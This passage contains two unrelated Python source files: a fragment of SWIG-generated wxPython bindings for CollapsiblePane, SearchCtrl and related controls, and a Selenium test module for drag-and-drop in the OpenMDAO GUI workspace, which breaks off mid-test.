return _controls_.FontPickerEvent_GetFont(*args, **kwargs)
def SetFont(*args, **kwargs):
"""SetFont(self, Font c)"""
return _controls_.FontPickerEvent_SetFont(*args, **kwargs)
Font = property(GetFont,SetFont,doc="See `GetFont` and `SetFont`")
_controls_.FontPickerEvent_swigregister(FontPickerEvent)
#---------------------------------------------------------------------------
CP_DEFAULT_STYLE = _controls_.CP_DEFAULT_STYLE
CP_NO_TLW_RESIZE = _controls_.CP_NO_TLW_RESIZE
class CollapsiblePane(_core.Control):
"""
A collapsable pane is a container with an embedded button-like
control which can be used by the user to collapse or expand the pane's
contents.
Once constructed you should use the `GetPane` function to access the
pane and add your controls inside it (i.e. use the window returned
from `GetPane` as the parent for the controls which must go in the
pane, NOT the wx.CollapsiblePane itself!).
Note that because of its nature of control which can dynamically (and
drastically) change its size at run-time under user-input, when
putting a wx.CollapsiblePane inside a `wx.Sizer` you should be careful
to add it with a proportion value of zero; this is because otherwise
all other windows with non-zero proportion values would automatically
get resized each time the user expands or collapses the pane window,
usually resulting a weird, flickering effect.
"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int winid=-1, String label=EmptyString,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=CP_DEFAULT_STYLE, Validator val=DefaultValidator,
String name=CollapsiblePaneNameStr) -> CollapsiblePane
Create and show a wx.CollapsiblePane
"""
_controls_.CollapsiblePane_swiginit(self,_controls_.new_CollapsiblePane(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int winid=-1, String label=EmptyString,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=CP_DEFAULT_STYLE, Validator val=DefaultValidator,
String name=CollapsiblePaneNameStr) -> bool
"""
return _controls_.CollapsiblePane_Create(*args, **kwargs)
def Collapse(*args, **kwargs):
"""
Collapse(self, bool collapse=True)
Collapses or expands the pane window.
"""
return _controls_.CollapsiblePane_Collapse(*args, **kwargs)
def Expand(*args, **kwargs):
"""
Expand(self)
Same as Collapse(False).
"""
return _controls_.CollapsiblePane_Expand(*args, **kwargs)
def IsCollapsed(*args, **kwargs):
"""
IsCollapsed(self) -> bool
Returns ``True`` if the pane window is currently hidden.
"""
return _controls_.CollapsiblePane_IsCollapsed(*args, **kwargs)
def IsExpanded(*args, **kwargs):
"""
IsExpanded(self) -> bool
Returns ``True`` if the pane window is currently shown.
"""
return _controls_.CollapsiblePane_IsExpanded(*args, **kwargs)
def GetPane(*args, **kwargs):
"""
GetPane(self) -> Window
Returns a reference to the pane window. Use the returned `wx.Window`
as the parent of widgets to make them part of the collapsible area.
"""
return _controls_.CollapsiblePane_GetPane(*args, **kwargs)
Expanded = property(IsExpanded)
Collapsed = property(IsCollapsed)
_controls_.CollapsiblePane_swigregister(CollapsiblePane)
CollapsiblePaneNameStr = cvar.CollapsiblePaneNameStr
def PreCollapsiblePane(*args, **kwargs):
"""
PreCollapsiblePane() -> CollapsiblePane
Precreate a wx.CollapsiblePane for 2-phase creation.
"""
val = _controls_.new_PreCollapsiblePane(*args, **kwargs)
return val
wxEVT_COMMAND_COLLPANE_CHANGED = _controls_.wxEVT_COMMAND_COLLPANE_CHANGED
EVT_COLLAPSIBLEPANE_CHANGED = wx.PyEventBinder( wxEVT_COMMAND_COLLPANE_CHANGED, 1 )
class CollapsiblePaneEvent(_core.CommandEvent):
"""Proxy of C++ CollapsiblePaneEvent class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""__init__(self, Object generator, int id, bool collapsed) -> CollapsiblePaneEvent"""
_controls_.CollapsiblePaneEvent_swiginit(self,_controls_.new_CollapsiblePaneEvent(*args, **kwargs))
def GetCollapsed(*args, **kwargs):
"""GetCollapsed(self) -> bool"""
return _controls_.CollapsiblePaneEvent_GetCollapsed(*args, **kwargs)
def SetCollapsed(*args, **kwargs):
"""SetCollapsed(self, bool c)"""
return _controls_.CollapsiblePaneEvent_SetCollapsed(*args, **kwargs)
Collapsed = property(GetCollapsed,SetCollapsed)
_controls_.CollapsiblePaneEvent_swigregister(CollapsiblePaneEvent)
#---------------------------------------------------------------------------
class SearchCtrl(TextCtrl):
"""
A search control is a composite of a `wx.TextCtrl` with optional
bitmap buttons and a drop-down menu. Controls like this can typically
be found on a toolbar of applications that support some form of search
functionality. On the Mac this control is implemented using the
native HISearchField control, on the other platforms a generic control
is used, although that may change in the future as more platforms
introduce native search widgets.
If you wish to use a drop-down menu with your wx.SearchCtrl then you
will need to manage its content and handle the menu events yourself,
but this is an easy thing to do. Simply build the menu, pass it to
`SetMenu`, and also bind a handler for a range of EVT_MENU events.
This gives you the flexibility to use the drop-down menu however you
wish, such as for a history of searches, or as a way to select
different kinds of searches. The ToolBar.py sample in the demo shows
one way to do this.
Since the control derives from `wx.TextCtrl` it is convenient to use
the styles and events designed for `wx.TextCtrl`. For example you can
use the ``wx.TE_PROCESS_ENTER`` style and catch the
``wx.EVT_TEXT_ENTER`` event to know when the user has pressed the
Enter key in the control and wishes to start a search.
"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, String value=wxEmptyString,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=0, Validator validator=DefaultValidator,
String name=SearchCtrlNameStr) -> SearchCtrl
A search control is a composite of a `wx.TextCtrl` with optional
bitmap buttons and a drop-down menu. Controls like this can typically
be found on a toolbar of applications that support some form of search
functionality. On the Mac this control is implemented using the
native HISearchField control, on the other platforms a generic control
is used, although that may change in the future as more platforms
introduce native search widgets.
If you wish to use a drop-down menu with your wx.SearchCtrl then you
will need to manage its content and handle the menu events yourself,
but this is an easy thing to do. Simply build the menu, pass it to
`SetMenu`, and also bind a handler for a range of EVT_MENU events.
This gives you the flexibility to use the drop-down menu however you
wish, such as for a history of searches, or as a way to select
different kinds of searches. The ToolBar.py sample in the demo shows
one way to do this.
Since the control derives from `wx.TextCtrl` it is convenient to use
the styles and events designed for `wx.TextCtrl`. For example you can
use the ``wx.TE_PROCESS_ENTER`` style and catch the
``wx.EVT_TEXT_ENTER`` event to know when the user has pressed the
Enter key in the control and wishes to start a search.
"""
_controls_.SearchCtrl_swiginit(self,_controls_.new_SearchCtrl(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, String value=wxEmptyString,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=0, Validator validator=DefaultValidator,
String name=SearchCtrlNameStr) -> bool
"""
return _controls_.SearchCtrl_Create(*args, **kwargs)
def SetMenu(*args, **kwargs):
"""
SetMenu(self, Menu menu)
Sets the search control's menu object. If there is already a menu
associated with the search control it is deleted.
"""
return _controls_.SearchCtrl_SetMenu(*args, **kwargs)
def GetMenu(*args, **kwargs):
"""
GetMenu(self) -> Menu
Returns a pointer to the search control's menu object or None if there
is no menu attached.
"""
return _controls_.SearchCtrl_GetMenu(*args, **kwargs)
def ShowSearchButton(*args, **kwargs):
"""
ShowSearchButton(self, bool show)
Sets the search button visibility value on the search control. If
there is a menu attached, the search button will be visible regardless
of the search button visibility value. This has no effect in Mac OS X
v10.3
"""
return _controls_.SearchCtrl_ShowSearchButton(*args, **kwargs)
def IsSearchButtonVisible(*args, **kwargs):
"""
IsSearchButtonVisible(self) -> bool
Returns the search button visibility value. If there is a menu
attached, the search button will be visible regardless of the search
button visibility value. This always returns false in Mac OS X v10.3
"""
return _controls_.SearchCtrl_IsSearchButtonVisible(*args, **kwargs)
def ShowCancelButton(*args, **kwargs):
"""
ShowCancelButton(self, bool show)
Shows or hides the cancel button.
"""
return _controls_.SearchCtrl_ShowCancelButton(*args, **kwargs)
def IsCancelButtonVisible(*args, **kwargs):
"""
IsCancelButtonVisible(self) -> bool
Indicates whether the cancel button is visible.
"""
return _controls_.SearchCtrl_IsCancelButtonVisible(*args, **kwargs)
def SetDescriptiveText(*args, **kwargs):
"""
SetDescriptiveText(self, String text)
Set the text to be displayed when the user has not yet typed anything
in the control.
"""
return _controls_.SearchCtrl_SetDescriptiveText(*args, **kwargs)
def GetDescriptiveText(*args, **kwargs):
"""
GetDescriptiveText(self) -> String
Get the text to be displayed when the user has not yet typed anything
in the control.
"""
return _controls_.SearchCtrl_GetDescriptiveText(*args, **kwargs)
def SetSearchBitmap(*args, **kwargs):
"""
SetSearchBitmap(self, Bitmap bitmap)
Sets the bitmap to use for the search button. This currently does not
work on the Mac.
"""
return _controls_.SearchCtrl_SetSearchBitmap(*args, **kwargs)
def SetSearchMenuBitmap(*args, **kwargs):
"""
SetSearchMenuBitmap(self, Bitmap bitmap)
Sets the bitmap to use for the search button when there is a drop-down
menu associated with the search control. This currently does not work
on the Mac.
"""
return _controls_.SearchCtrl_SetSearchMenuBitmap(*args, **kwargs)
def SetCancelBitmap(*args, **kwargs):
"""
SetCancelBitmap(self, Bitmap bitmap)
Sets the bitmap to use for the cancel button. This currently does not
work on the Mac.
"""
return _controls_.SearchCtrl_SetCancelBitmap(*args, **kwargs)
Menu = property(GetMenu,SetMenu)
SearchButtonVisible = property(IsSearchButtonVisible,ShowSearchButton)
CancelButtonVisible = property(IsCancelButtonVisible,ShowCancelButton)
DescriptiveText = property(GetDescriptiveText,SetDescriptiveText)
_controls_.SearchCtrl_swigregister(SearchCtrl)
SearchCtrlNameStr = cvar.SearchCtrlNameStr
def PreSearchCtrl(*args, **kwargs):
"""
PreSearchCtrl() -> SearchCtrl
Precreate a wx.SearchCtrl for 2-phase creation.
"""
val = _controls_.new_PreSearchCtrl(*args, **kwargs)
return val
wxEVT_COMMAND_SEARCHCTRL_CANCEL_BTN = _controls_.wxEVT_COMMAND_SEARCHCTRL_CANCEL_BTN
wxEVT_COMMAND_SEARCHCTRL_SEARCH_BTN = _controls_.wxEVT_COMMAND_SEARCHCTRL_SEARCH_BTN
EVT_SEARCHCTRL_CANCEL_BTN = wx.PyEventBinder( wxEVT_COMMAND_SEARCHCTRL_CANCEL_BTN, 1)
EVT_SEARCHCTRL_SEARCH_BTN = wx.PyEventBinder( wxEVT_COMMAND_SEARCHCTRL_SEARCH_BTN, 1)
#---------------------------------------------------------------------------
class PyAxBaseWindow(_core.Window):
"""Proxy of C++ PyAxBaseWindow class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, Point pos=DefaultPosition,
Size size=DefaultSize, long style=0, String name=PanelNameStr) -> PyAxBaseWindow
"""
_controls_.PyAxBaseWindow_swiginit(self,_controls_.new_PyAxBaseWindow(*args, **kwargs))
self._setOORInfo(self);PyAxBaseWindow._setCallbackInfo(self, self, PyAxBaseWindow)
def _setCallbackInfo(*args, **kwargs):
"""_setCallbackInfo(self, PyObject self, PyObject _class)"""
return _controls_.PyAxBaseWindow__setCallbackInfo(*args, **kwargs)
def MSWTranslateMessage(*args, **kwargs):
"""MSWTranslateMessage(self, long msg) -> bool"""
return _controls_.PyAxBaseWindow_MSWTranslateMessage(*args, **kwargs)
_controls_.PyAxBaseWindow_swigregister(PyAxBaseWindow)
def PrePyAxBaseWindow(*args, **kwargs):
"""PrePyAxBaseWindow() -> PyAxBaseWindow"""
val = _controls_.new_PrePyAxBaseWindow(*args, **kwargs)
return val
def PyAxBaseWindow_FromHWND(*args, **kwargs):
"""PyAxBaseWindow_FromHWND(Window parent, unsigned long _hWnd) -> PyAxBaseWindow"""
return _controls_.PyAxBaseWindow_FromHWND(*args, **kwargs)
|
"""
Tests of overall workspace functions.
"""
import logging
import pkg_resources
import sys
import time
from nose.tools import eq_ as eq
from nose.tools import with_setup
if sys.platform != 'win32': # No testing on Windows yet.
from selenium.webdriver.common.action_chains import ActionChains
from selenium.webdriver.common.by import By
from selenium.common.exceptions import StaleElementReferenceException
from util import main, setup_server, teardown_server, generate, \
startup, closeout
from pageobjects.component import NameInstanceDialog
from pageobjects.dataflow import DataflowFigure
from pageobjects.dialog import NotifyDialog
from pageobjects.util import ConfirmationPage
@with_setup(setup_server, teardown_server)
def test_generator():
for _test, browser in generate(__name__):
yield _test, browser
def _test_drop_on_driver(browser):
projects_page, project_info_page, project_dict, workspace_page = startup(browser)
# replace the 'top' assembly driver with a CONMINdriver
replace_driver(workspace_page, 'top', 'CONMINdriver')
# Check to see that the content area for the driver is now CONMINdriver
driver_element = workspace_page.get_dataflow_figure('driver')
eq(driver_element('content_area').find_element_by_xpath('center/i').text,
'CONMINdriver', "Dropping CONMINdriver onto existing driver did not replace it")
closeout(projects_page, project_info_page, project_dict, workspace_page)
def _test_workspace_dragdrop(browser):
projects_page, project_info_page, project_dict, workspace_page = startup(browser)
#find and get the 'assembly', and 'top' objects
assembly = workspace_page.find_library_button('Assembly')
top = workspace_page.get_dataflow_figure('top')
names = []
for div in getDropableElements(top):
chain = drag_element_to(browser, assembly, div, False)
check_highlighting(top('content_area').element, True,
"Top's content_area")
release(chain)
#deal with the modal dialog
name = NameInstanceDialog(workspace_page).create_and_dismiss()
names.append(name)
ensure_names_in_workspace(workspace_page, names,
"Dragging 'assembly' to 'top' in one of the drop areas did not "
"produce a new element on page")
# now test to see if all the new elements are children of 'top'
# generate what the pathnames SHOULD be
guess_pathnames = ["top." + name for name in names]
# get the actual pathnames
figs = workspace_page.get_dataflow_figures()
pathnames = [get_pathname(browser, fig) for fig in figs]
# see if they match up! (keeping in mind that there are more elements
# we have pathnames for than we put there)
for path in guess_pathnames:
eq(path in pathnames, True, "An element did not drop into 'top' when "
"dragged onto one of its drop areas.\nIt was created somewhere else")
closeout(projects_page, project_info_page, project_dict, workspace_page)
def _test_drop_on_grid(browser):
projects_page, project_info_page, project_dict, workspace_page = startup(browser)
#other tests also need to put an assembly on the grid, so put in seperate method
put_assembly_on_grid(workspace_page)
closeout(projects_page, project_info_page, project_dict, workspace_page)
def _test_drop_on_existing_assembly(browser):
projects_page, project_info_page, project_dict, workspace_page = startup(browser)
assembly = workspace_page.find_library_button('Assembly')
outer_name = put_assembly_on_grid(workspace_page)
outer_figure = workspace_page.get_dataflow_figure(outer_name)
outer_path = outer_figure.pathname
eq(outer_path, outer_name, "Assembly did not produce an instance on the grid")
div = getDropableElements(outer_figure)[0]
chain = drag_element_to(browser, assembly, div, False)
check_highlighting(outer_figure('content_area').element, True,
"Assembly's content_area")
release(chain)
middle_name = NameInstanceDialog(workspace_page).create_and_dismiss()
middle_figure = workspace_page.get_dataflow_figure(middle_name)
middle_path = middle_figure.pathname
eq(middle_path, outer_path + '.' + middle_name,
"Assembly did not produce an instance inside outer Assembly")
div = getDropableElements(middle_figure)[0]
chain = drag_element_to(browser, assembly, div, True)
check_highlighting(middle_figure('content_area').element, True,
"Assembly's content_area")
release(chain)
inner_name = NameInstanceDialog(workspace_page).create_and_dismiss()
#expand the middle div so that the inner one shows up in the workspace.
middle_figure('top_right').element.click()
inner_figure = workspace_page.get_dataflow_figure(inner_name)
inner_path = inner_figure.pathname
eq(inner_path, middle_path + '.' + inner_name,
"Assembly did not produce an instance inside of the middle Assembly")
ensure_names_in_workspace(workspace_page, [outer_name, middle_name, inner_name],
"Dragging Assembly onto Assembly did not create a new instance on page")
closeout(projects_page, project_info_page, project_dict, workspace_page)
def _test_drop_on_component_editor(browser):
projects_page, project_info_page, project_dict, workspace_page = startup(browser)
#find and get the 'assembly', and 'top' objects
workspace_page.set_library_filter('Assembly') # put Assembly at top of lib
assembly = workspace_page.find_library_button('Assembly')
top = workspace_page.get_dataflow_figure('top', '')
editor = top.editor_page(double_click=False, base_type='Assembly')
editor.show_dataflow()
#in order to get the elements in the editor workflow, we must
#distinguish them from the elements in the main workflow
editor_top = get_dataflow_fig_in_assembly_editor(workspace_page, 'top')
# sort through these to find the correct 'top'
names = []
for div in getDropableElements(editor_top)[:-1]:
chain = drag_element_to(browser, assembly, div, False)
check_highlighting(editor_top('content_area').element, True,
"Top in component editor's content_area")
release(chain)
#deal with the modal dialog
name = NameInstanceDialog(workspace_page).create_and_dismiss()
names.append(name)
ensure_names_in_workspace(workspace_page, names,
"Dragging 'assembly' to 'top' (in component editor) in one of the "
"drop areas did not produce a new element on page")
#now test to see if all the new elements are children of 'top'
#generate what the pathnames SHOULD be
guess_pathnames = ["top." + name for name in names]
#get the actual pathnames
figs = workspace_page.get_dataflow_figures()
pathnames = [get_pathname(browser, fig) for fig in figs]
# see if they match up! (keeping in mind that there are more elements
# we have pathnames for than we put there)
for path in guess_pathnames:
eq(path in pathnames, True,
"An element did not drop into 'top' (in component editor) when "
"dragged onto one of its drop areas.\nIt was created somewhere else")
closeout(projects_page, project_info_page, project_dict, workspace_page)
def _test_drop_on_component_editor_grid(browser):
projects_page, project_info_page, project_dict, workspace_page = startup(browser)
#find and get the 'assembly', and 'top' objects
workspace_page.set_library_filter('Assembly') # put Assembly at top of lib
assembly = workspace_page.find_library_button('Assembly')
top = workspace_page.get_dataflow_figure('top', '')
editor = top.editor_page(double_click=False, base_type='Assembly')
editor.show_dataflow()
editor_top = get_dataflow_fig_in_assembly_editor(workspace_page, 'top')
# sort through these to find the correct 'top'
chain = ActionChains(browser)
chain.click_and_hold(assembly)
chain.move_to_element(editor_top('header').find_element_by_xpath("..")).perform()
chain.move_by_offset(200, 1).perform()
release(chain)
# don't bother checking to see if it appeared,
# the UI box will appear and screw the test if it did
closeout(projects_page, project_info_page, project_dict, workspace_page)
def _test_slots(browser):
projects_page, project_info_page, project_dict, workspace_page = startup(browser)
top = workspace_page.get_dataflow_figure('top')
editor, metamodel, caseiter, caserec, comp, meta_name = slot_reset(workspace_page)
workspace_page.set_library_filter('ExecComp')
execcomp = workspace_page.find_library_button('ExecComp')
##################################################
# First part of test: Drag and drop ExecComp from the Library
# onto the recorder slot of a MetaModel. This should fail.
##################################################
#drag one success and one failure onto slots
#failure:
slot_drop(browser, execcomp, caserec, False, 'Component')
slot_id = 'SlotFigure-%s-%s'
#refresh
time.sleep(1.0) # give it a second to update the figure
caserec = browser.find_element(By.ID, slot_id % (meta_name, 'recorder'))
#check for class change
eq(False, ("filled" in caserec.get_attribute('class')),
"Component dropped into CaseRecorder (should not have)")
##################################################
# Second part of test: Drag and drop ExecComp from the Library onto the
# model (IComponent) slot of a MetaModel.
##################################################
slot_drop(browser, execcomp, comp, True, 'Component')
#refresh
time.sleep(1.0) # give it a second to update the figure
comp = browser.find_element(By.ID, slot_id % (meta_name, 'model'))
#check for class change
eq(True, ("filled" in comp.get_attribute('class')),
"Component did not drop into Component slot")
#for the future:
"""
# get the objects we need for the test
# setup a data structure explaining which things can be dropped where
# element, dropOnCaseIter, dropOnCaseRec, dropOnComp
dropdata = [('CSVCaseIterator', True, False, False),\
('CSVCaseRecorder', False, True, False),\
('ExecComp', False, False, True),\
('Assembly', False, False, True)]
drop_elements = [(workspace_page.find_library_button(ele[0]), ele[1], ele[2], ele[3]) for ele in dropdata]
#now loop through each dropable item, and see what happens when it lands on the target
for ele in drop_elements:
#drop on caseiter
slot_drop(browser, ele[0].element, caseiter, ele[1], 'CaseIterator')
#TODO: REFRESH THE SLOTS, CHECK THEIR FONT COLOR
#drop on caserec
slot_drop(browser, ele[0].element, caserec, ele[2], 'CaseRecorder')
#TODO: REFRESH THE SLOTS, CHECK THEIR FONT COLOR
#drop on comp
slot_drop(browser, ele[0].element, comp, ele[3], 'Component')
#TODO: REFRESH THE SLOTS, CHECK THEIR FONT COLOR
editor, metamodel, caseiter, caserec, comp = slot_reset(workspace_page, editor, metamodel, True)
"""
closeout(projects_page, project_info_page, project_dict, workspace_page)
def _test_list_slot(browser):
projects_page, project_info_page, project_dict, workspace_page = startup(browser)
# replace the 'top' assembly driver with a DOEdriver
# (this additionally verifies that an issue with DOEdriver slots is fixed)
replace_driver(workspace_page, 'top', 'DOEdriver')
# open the object editor dialog for the driver
driver = workspace_page.get_dataflow_figure('driver', 'top')
editor = driver.editor_page(False)
editor.move(-100, 0)
editor.show_slots()
# get the generator slot figure
slot_id = 'SlotFigure-%s-%s' % ('top-driver', 'DOEgenerator')
generator_slot = browser.find_element(By.ID, slot_id)
# check that slot is not filled
eq(False, ("filled" in generator_slot.get_attribute('class')),
"generator slot is showing as filled when it should not be")
# drop a FullFactorial onto the generator slot
workspace_page.set_library_filter('DOEgenerator')
generator = workspace_page.find_library_button('FullFactorial')
slot_drop(browser, generator, generator_slot, True, 'generator')
# refresh
time.sleep(1.0) # give it a second to update the figure
generator_slot = browser.find_element(By.ID, slot_id)
# check for class change (should now be filled)
eq(True, ("filled" in generator_slot.get_attribute('class')),
"FullFactorial did not drop into generator slot")
# get the recorders slot figure
slot_id = 'SlotFigure-%s-%s' % ('top-driver', 'recorders')
recorders_slot = browser.find_element(By.ID, slot_id)
# check that slot is not filled
eq(False, ("filled" in recorders_slot.get_attribute('class')),
"recorders slot is showing as filled when it should not be")
# set center pane to workflow to make sure workflow doesn't steal drops
workspace_page('workflow_tab').click()
# drop a DumpCaseRecorder onto the recorders slot
workspace_page.set_library_filter('ICaseRecorder')
case_recorder = workspace_page.find_library_button('DumpCaseRecorder')
slot_drop(browser, case_recorder, recorders_slot, True, 'recorders')
# refresh
time.sleep(1.0) # give it a second to update the figure
recorders_slot = browser.find_element(By.ID, slot_id)
# check for class change (should now be filled)
eq(True, ("filled" in recorders_slot.get_attribute('class')),
"DumpCaseRecorder did not drop into recorders slot")
# check that recorders fig now has one filled and one empty rect
rects = recorders_slot.find_elements_by_css_selector('rect')
eq(len(rects), 2)
eq(True, ('stroke: #0b93d5' in rects[0].get_attribute('style')),
"Filled slot element should be outlined in blue")
eq(True, ('stroke: #808080' in rects[1].get_attribute('style')),
"Unfilled slot element should be outlined in gray")
klass = recorders_slot.find_elements_by_css_selector('text#klass')
eq(klass[0].text, 'DumpCaseRecorder',
"Filled slot element should show the correct type (DumpCaseRecorder)")
eq(klass[1].text, 'ICaseRecorder',
"Unfilled slot element should show the correct klass (ICaseRecorder)")
# drop another CaseRecorder onto the recorders slot
case_recorder = workspace_page.find_library_button('CSVCaseRecorder')
slot_drop(browser, case_recorder, recorders_slot, True, 'recorders')
# refresh
time.sleep(1.0) # give it a second to update the figure
recorders_slot = browser.find_element(By.ID, slot_id)
# check for class change (it should not change... still filled)
eq(True, ("filled" in recorders_slot.get_attribute('class')),
"CSVCaseRecorder did not drop into recorders slot")
# check that recorders fig now has two filled and one empty rect
rects = recorders_slot.find_elements_by_css_selector('rect')
eq(len(rects), 3)
eq(True, ('stroke: #0b93d5' in rects[0].get_attribute('style')),
"Filled slot element should be outlined in blue")
eq(True, ('stroke: #0b93d5' in rects[1].get_attribute('style')),
"Filled slot element should be outlined in blue")
eq(True, ('stroke: #808080' in rects[2].get_attribute('style')),
"Unfilled slot element should be outlined in gray")
klass = recorders_slot.find_elements_by_css_selector('text#klass')
eq(klass[0].text, 'DumpCaseRecorder',
"Filled slot element should show the correct type (DumpCaseRecorder)")
eq(klass[1].text, 'CSVCaseRecorder',
"Filled slot element should show the correct type (CSVCaseRecorder)")
eq(klass[2].text, 'ICaseRecorder',
"Unfilled slot element should show the correct klass (ICaseRecorder)")
# drop another CaseRecorder onto the recorders slot
case_recorder = workspace_page.find_library_button('DBCaseRecorder')
slot_drop(browser, case_recorder, recorders_slot, True, 'recorders')
# refresh
time.sleep(1.0) # give it a second to update the figure
recorders_slot = browser.find_element(By.ID, slot_id)
# check that recorders fig now has four total rects
rects = recorders_slot.find_elements_by_css_selector('rect')
eq(len(rects), 4)
# remove an item from the list (the only context menu option)
menu_item_remove = recorders_slot.find_element_by_css_selector('ul li')
chain = ActionChains(browser)
chain.move_to_element_with_offset(recorders_slot, 25, 25)
chain.context_click(recorders_slot).perform()
menu_item_remove.click()
# refresh
time.sleep(1.0) # give it a second to update the figure
recorders_slot = browser.find_element(By.ID, slot_id)
# check that recorders fig now has only three rect
# TODO: check that the correct one was removed
rects = recorders_slot.find_elements_by_css_selector('rect')
eq(len(rects), 3)
# Clean up.
closeout(projects_page, project_info_page, project_dict, workspace_page)
def _test_simple_component_to_workflow(browser):
projects_page, project_info_page, project_dict, workspace_page = startup(browser)
# Get file paths
file1_path = pkg_resources.resource_filename('openmdao.examples.simple',
'paraboloid.py')
# add first file from workspace
workspace_page.add_file(file1_path)
# Drag element into top dataflow figure
top = workspace_page.get_dataflow_figure('top')
paraboloid = workspace_page.find_library_button('Paraboloid')
chain = drag_element_to(browser, paraboloid, top('content_area').element, False)
release(chain)
#deal with the modal dialog
name = NameInstanceDialog(workspace_page).create_and_dismiss()
# View the Workflow Pane.
workspace_page('workflow_tab').click()
# Show the top level workflow
workspace_page.show_workflow('top')
time.sleep(0.5) # Just so we can see it.
eq(len(workspace_page.get_workflow_component_figures()), 1)
# Drop the paraboloid component from the component tree onto the workflow for top
workspace_page.expand_object('top')
paraboloid_component = workspace_page.find_object_button('top.' + name)
top = workspace_page.get_workflow_figure('top')
chain = drag_element_to(browser, paraboloid_component, top.root, False)
check_highlighting(top.root, True, "Top's workflow")
release(chain)
eq(len(workspace_page.get_workflow_component_figures()), 2)
# Check to see that the new div inside the workflow is there
figs = workspace_page.get_workflow_component_figures()
pathnames = [get_pathname(browser, fig) for fig in figs]
assert ("top." + name) in pathnames
# Clean up.
closeout(projects_page, project_info_page, project_dict, workspace_page)
def _test_library_to_workflow(browser):
projects_page, project_info_page, project_dict, workspace_page = startup(browser)
# Get file paths
file1_path = pkg_resources.resource_filename('openmdao.examples.simple',
'paraboloid.py')
# add first file from workspace
workspace_page.add_file(file1_path)
# View the Workflow Pane.
workspace_page('workflow_tab').click()
# Show the top level workflow
workspace_page.show_workflow('top')
time.sleep(0.5) # Just so we can see it.
eq(len(workspace_page.get_workflow_component_figures()), 1)
# Drop the paraboloid component from the library onto the workflow for top
top = workspace_page.get_workflow_figure('top')
paraboloid = workspace_page.find_library_button('Paraboloid')
chain = drag_element_to(browser, paraboloid, top.root, True)
chain.move_by_offset(int(paraboloid.value_of_css_property('width')[:-2])/3, 1).perform()
check_highlighting(top.root, True, "Top's workflow")
release(chain)
#deal with the modal dialog
name = NameInstanceDialog(workspace_page).create_and_dismiss()
time.sleep(0.5) # Just so we can see it.
eq(len(workspace_page.get_workflow_component_figures()), 2)
# Check to see that the new div inside the workflow is there
figs = workspace_page.get_workflow_component_figures()
pathnames = [get_pathname(browser, fig) for fig in figs]
assert ("top." + name) in pathnames
# Clean up.
closeout(projects_page, project_info_page, project_dict, workspace_page)
def _test_component_to_complex_workflow(browser):
projects_page, project_info_page, project_dict, workspace_page = startup(browser)
# Add paraboloid and vehicle_threesim files
file1_path = pkg_resources.resource_filename('openmdao.examples.simple',
'paraboloid.py')
file2_path = pkg_resources.resource_filename('openmdao.examples.enginedesign',
'vehicle_threesim.py')
workspace_page.add_file(file1_path)
workspace_page.add_file(file2_path)
# add VehicleSim2 to the globals
workspace_page.set_library_filter('In Project')
vehicle_name = put_element_on_grid(workspace_page, "VehicleSim2")
# Drag paraboloid element into vehicle dataflow figure
vehicle = workspace_page.get_dataflow_figure(vehicle_name)
paraboloid = workspace_page.find_library_button('Paraboloid')
chain = drag_element_to(browser, paraboloid, vehicle('content_area').element, False)
release(chain)
paraboloid_name = NameInstanceDialog(workspace_page).create_and_dismiss()
# View the Workflow Pane.
workspace_page('workflow_tab').click()
# Show the vehicle workflow
workspace_page.show_workflow(vehicle_name)
# See how many workflow component figures there are before we add to it
eq(len(workspace_page.get_workflow_component_figures()), 16)
########################################
# Drop the paraboloid component from the component tree onto the top level
# workflow for VehicleSim2
########################################
workspace_page.expand_object(vehicle_name)
paraboloid_component = workspace_page.find_object_button(vehicle_name + "." + paraboloid_name)
vehicle_workflow_figure = workspace_page.get_workflow_figure(vehicle_name)
chain = drag_element_to(browser, paraboloid_component,
vehicle_workflow_figure.root, False)
check_highlighting(vehicle_workflow_figure.root, True,
"Three Sim Vehicle workflow")
release(chain)
# Check to make sure there is one more workflow component figure
eq(len(workspace_page.get_workflow_component_figures()), 17)
# Check to see that the new div inside the workflow is there
figs = workspace_page.get_workflow_component_figures()
pathnames = [get_pathname(browser, fig) for fig in figs]
assert (vehicle_name + "." + paraboloid_name) in pathnames
########################################
# Drop the paraboloid component from the component tree onto the
# workflow for sim_acc under VehicleSim2
########################################
# Need to do this again, for some reason. Cannot re-use the one from the previous section
paraboloid_component = workspace_page.find_object_button(vehicle_name + "." + paraboloid_name)
sim_acc_workflow_figure = workspace_page.get_workflow_figure("sim_acc") # returns a pageobject
chain = drag_element_to(browser, paraboloid_component,
sim_acc_workflow_figure.root, False)
check_highlighting(sim_acc_workflow_figure.root, True, "sim_acc workflow")
release(chain)
# Check to make sure there is one more workflow component figure
eq(len(workspace_page.get_workflow_component_figures()), 18)
# Check to see that the new div inside the workflow is there
figs = workspace_page.get_workflow_component_figures() # returns Selenium WebElements
pathnames = [get_pathname(browser, fig) for fig in figs]
# should have two instances of the vehicle_name.paraboloid_name
pathnames_matching_vehicle_name_paraboloid_name = \
[p for p in pathnames if p == (vehicle_name + "." + paraboloid_name)]
#assert ("sim_acc" + "." + paraboloid_name) in pathnames
eq(len(pathnames_matching_vehicle_name_paraboloid_name), 2)
########################################
# Drop the paraboloid component from the component tree onto the
# workflow for vehicle under sim_acc under VehicleSim2.
# This should NOT work since the paraboloid is not at the right level
########################################
# Need to do this again, for some reason. Cannot re-use the one from the previous section
paraboloid_component = workspace_page.find_object_button(vehicle_name + "." + paraboloid_name)
vehicle_workflow_figure = workspace_page.get_workflow_figure("vehicle")
